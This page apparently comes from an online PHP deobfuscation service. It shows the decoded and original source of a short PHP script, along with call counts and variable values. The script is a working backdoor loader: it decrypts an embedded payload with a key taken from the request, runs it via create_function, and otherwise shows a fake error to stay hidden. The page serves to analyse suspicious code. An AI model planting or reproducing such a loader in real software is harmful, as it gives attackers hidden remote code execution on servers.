Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(0); set_time_limit(0); function My_base($data,$key){ $..

Decoded Output download

<?php  
error_reporting(0);  
set_time_limit(0); 
function My_base($data,$key){ 
        $key=md5($key); 
        $x=0; 
        $data=base64_decode($data); 
		$len = strlen($data); 
		$l = strlen($key); 
		$char=''; 
        for ($i=0;$i< $len;$i++) 
        { 
            if ($x== $l) $x=0; 
            $char.=substr($key,$x,1); 
            $x++; 
        } 
		$str=''; 
        for ($i=0;$i< $len;$i++) 
        { 
            if (ord(substr($data,$i,1))<ord(substr($char,$i,1))) 
            { 
                $str.=chr((ord(substr($data,$i,1))+256)-ord(substr($char,$i,1))); 
            } 
            else 
            { 
                $str.=chr(ord(substr($data,$i,1))-ord(substr($char,$i,1))); 
            } 
        } 
        return base64_decode($str); 
} 
if(@$_REQUEST['key']){ 
$key=$_REQUEST['key'];  
$text=My_base('tn96sr2Ol5vGzrqtln16mo22nMqtrZ/Ofpqnnotifn+6jY5/uGiFl62Trp+VjaChlNCt1MKL0tiXqpSXf3R+e75phqXGaoCctai6q5WNipt8zKCY',$key); 
$St=Create_Function('',$text);$St(); 
}else{ 
echo 'No input file specified.'; 
} 
?>

Did this file decode correctly?

Original Code

<?php 
error_reporting(0); 
set_time_limit(0);
function My_base($data,$key){
        $key=md5($key);
        $x=0;
        $data=base64_decode($data);
		$len = strlen($data);
		$l = strlen($key);
		$char='';
        for ($i=0;$i< $len;$i++)
        {
            if ($x== $l) $x=0;
            $char.=substr($key,$x,1);
            $x++;
        }
		$str='';
        for ($i=0;$i< $len;$i++)
        {
            if (ord(substr($data,$i,1))<ord(substr($char,$i,1)))
            {
                $str.=chr((ord(substr($data,$i,1))+256)-ord(substr($char,$i,1)));
            }
            else
            {
                $str.=chr(ord(substr($data,$i,1))-ord(substr($char,$i,1)));
            }
        }
        return base64_decode($str);
}
if(@$_REQUEST['key']){
$key=$_REQUEST['key']; 
$text=My_base('tn96sr2Ol5vGzrqtln16mo22nMqtrZ/Ofpqnnotifn+6jY5/uGiFl62Trp+VjaChlNCt1MKL0tiXqpSXf3R+e75phqXGaoCctai6q5WNipt8zKCY',$key);
$St=Create_Function('',$text);$St();
}else{
echo 'No input file specified.';
}
?>

Function Calls

chr 84
md5 1
ord 336
strlen 2
substr 420
My_base 1
base64_decode 2
set_time_limit 1
error_reporting 1

Variables

$i 84
$l 32
$x 20
$key d41d8cd98f00b204e9800998ecf8427e
$len 84
$str RKIN+3bh}4KJf(}d}tf7AfW0GVY]!^u-~o3[pm/uR2G._KBGZ5UAc}B{3[Zg..
$char d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8..

Stats

MD5 753efa7614d8c8e5e76e515e55e2b7b4
Eval Count 0
Decode Time 968 ms